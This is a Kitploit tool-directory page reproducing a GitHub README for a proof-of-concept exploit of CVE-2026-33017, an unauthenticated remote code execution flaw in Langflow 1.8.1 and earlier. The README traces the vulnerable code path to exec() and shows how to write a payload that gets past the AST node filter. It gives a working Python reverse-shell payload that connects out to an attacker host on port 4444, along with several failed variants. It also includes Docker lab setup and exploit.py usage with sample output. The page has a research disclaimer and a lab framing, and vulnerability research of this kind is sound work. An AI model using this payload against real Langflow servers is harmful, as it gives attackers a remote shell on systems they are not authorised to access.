Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33017 — PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules. | Kitploit
Tools/GitHubGitHub/lxxexxbxx/cve-2026-33017
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.

View Repository
11101 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Disclaimer
This repository was created for security research and educational purposes only.
Use it only in an isolated lab environment.
Using it against unauthorized systems is a violation of the Information and Communications Network Act and is subject to criminal penalties.


1. Vulnerability Overview

ItemDetails
CVE IDCVE-2026-33017
Affected SoftwareLangflow (AI workflow builder)
Affected VersionsLangflow ≤ 1.8.1
Patched VersionLangflow ≥ 1.9.0
Vulnerability TypeUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVListed

2. Root Cause Analysis

2-1. Vulnerable Endpoint

POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is designed for building public flows and is accessible without authentication.

2-2. Code Execution Path (Call Chain)

Execution path confirmed by tracing the source code directly:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← Receives client input as-is (vulnerability)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← Passes client data as-is
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← Arbitrary code execution

2-3. AST Node Filtering — Key Constraint on Payload Design

The prepare_global_scope() function does not execute every statement in the submitted code. After AST parsing, it selects and executes only specific node types:

# lfx/custom/validate.py — inside prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr nodes are not included anywhere → not executed

exec(compiled_code, exec_globals)  # only definitions are executed

Executable AST node types:

AST Node TypeExampleExecuted
FunctionDefdef _shell(): ...✅ Executed
ClassDefclass ExploitComponent(Component)✅ Executed
Assign_r = os.system("id")✅ Executed
AnnAssign_r: int = os.system("id")✅ Executed
Expros.system("id") (standalone call)❌ Ignored

Conclusion: A payload must be written in Assign form (_r = ...) to be executed.
A plain function call (os.system("id")) is classified as an Expr node and is filtered out.

2-4. Reverse Shell Payload Design Process — Attempts and Failure Analysis

During the lab exercise, several payload approaches were attempted, and the cause of each failure was identified at the source level.

Attempt 1 — subprocess.Popen + wait() (failed)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← blocks here

Cause of failure: While the Langflow worker thread is monitoring the component return value, the socket is forcibly closed upon timeout. Blocking in _proc.wait() becomes meaningless.

Attempt 2 — Direct os.execve() call (failed)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Cause of failure: Per POSIX rules, when execve() is called in a multithreaded process, all threads except the calling thread are terminated → the entire uvicorn worker crashes → HTTP 500.

Attempt 3 — os.fork() + execve() (failed)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Cause of failure: uvicorn detects the child process as an abnormal termination and restarts the worker → HTTP 500.

Attempt 4 — threading.Thread(daemon=True) (failed)

threading.Thread(target=_shell, daemon=True).start()

Cause of failure: A daemon=True thread is destroyed along with the main thread (Langflow worker) when it exits. The thread dies before the connect() attempt.

Final Working Payload — threading.Thread(daemon=False) + Assign

# FunctionDef → executed
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → executed (standalone Expr calls are excluded by the filter, so variable assignment is required)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Why daemon=False:

  • daemon=True → destroyed when the Langflow worker thread terminates
  • daemon=False → has a lifecycle independent of the worker → socket connection remains alive

3. Lab Environment Setup

3-1. File Structure

CVE-2026-33017/
├── README.md
├── Dockerfile              # Vulnerable Langflow 1.8.1 environment
├── Dockerfile.attacker     # Attacker container (includes curl, nc, net-tools)
├── docker-compose.yml      # Vulnerable server + attacker container
├── entrypoint.sh           # Langflow startup and automatic Public flow creation
├── exploit.py              # Reverse shell PoC
└── poc.py                  # Blind RCE / vulnerability existence check

3-2. Starting the Environment

# 1. Build and start containers
docker compose up --build

# 2. Verify Langflow Web UI access
# http://localhost:7860
# admin / admin123!

# 3. Check container IPs
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Network Layout

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (victim)   │
│  langflow-attacker   172.19.0.3       (attacker) │
└──────────────────────────────────────────────────┘

4. PoC Usage

4-1. exploit.py — Reverse Shell

Run inside the attacker container:

docker exec -it langflow-attacker bash

# Automatic mode (token issuance + Public flow creation + built-in listener)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Options:

OptionDescriptionDefault
--urlTarget Langflow URLRequired
--lhostReverse shell callback IPRequired
--lportReverse shell callback portRequired
--flow-idPublic flow UUID (auto-created if omitted)Auto
--userAdmin IDadmin
--passwordAdmin passwordadmin123!
--no-listenDisable built-in listener (when using an external nc)False
--timeoutHTTP timeout (seconds)30

Expected output:

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Logging in... (admin)
[*] Token issued successfully
[*] Creating Public flow...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener started → 0.0.0.0:4444
[*] Endpoint    : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback    : 172.19.0.3:4444
[*] Sending payload...
[*] HTTP response : 200
Download Tool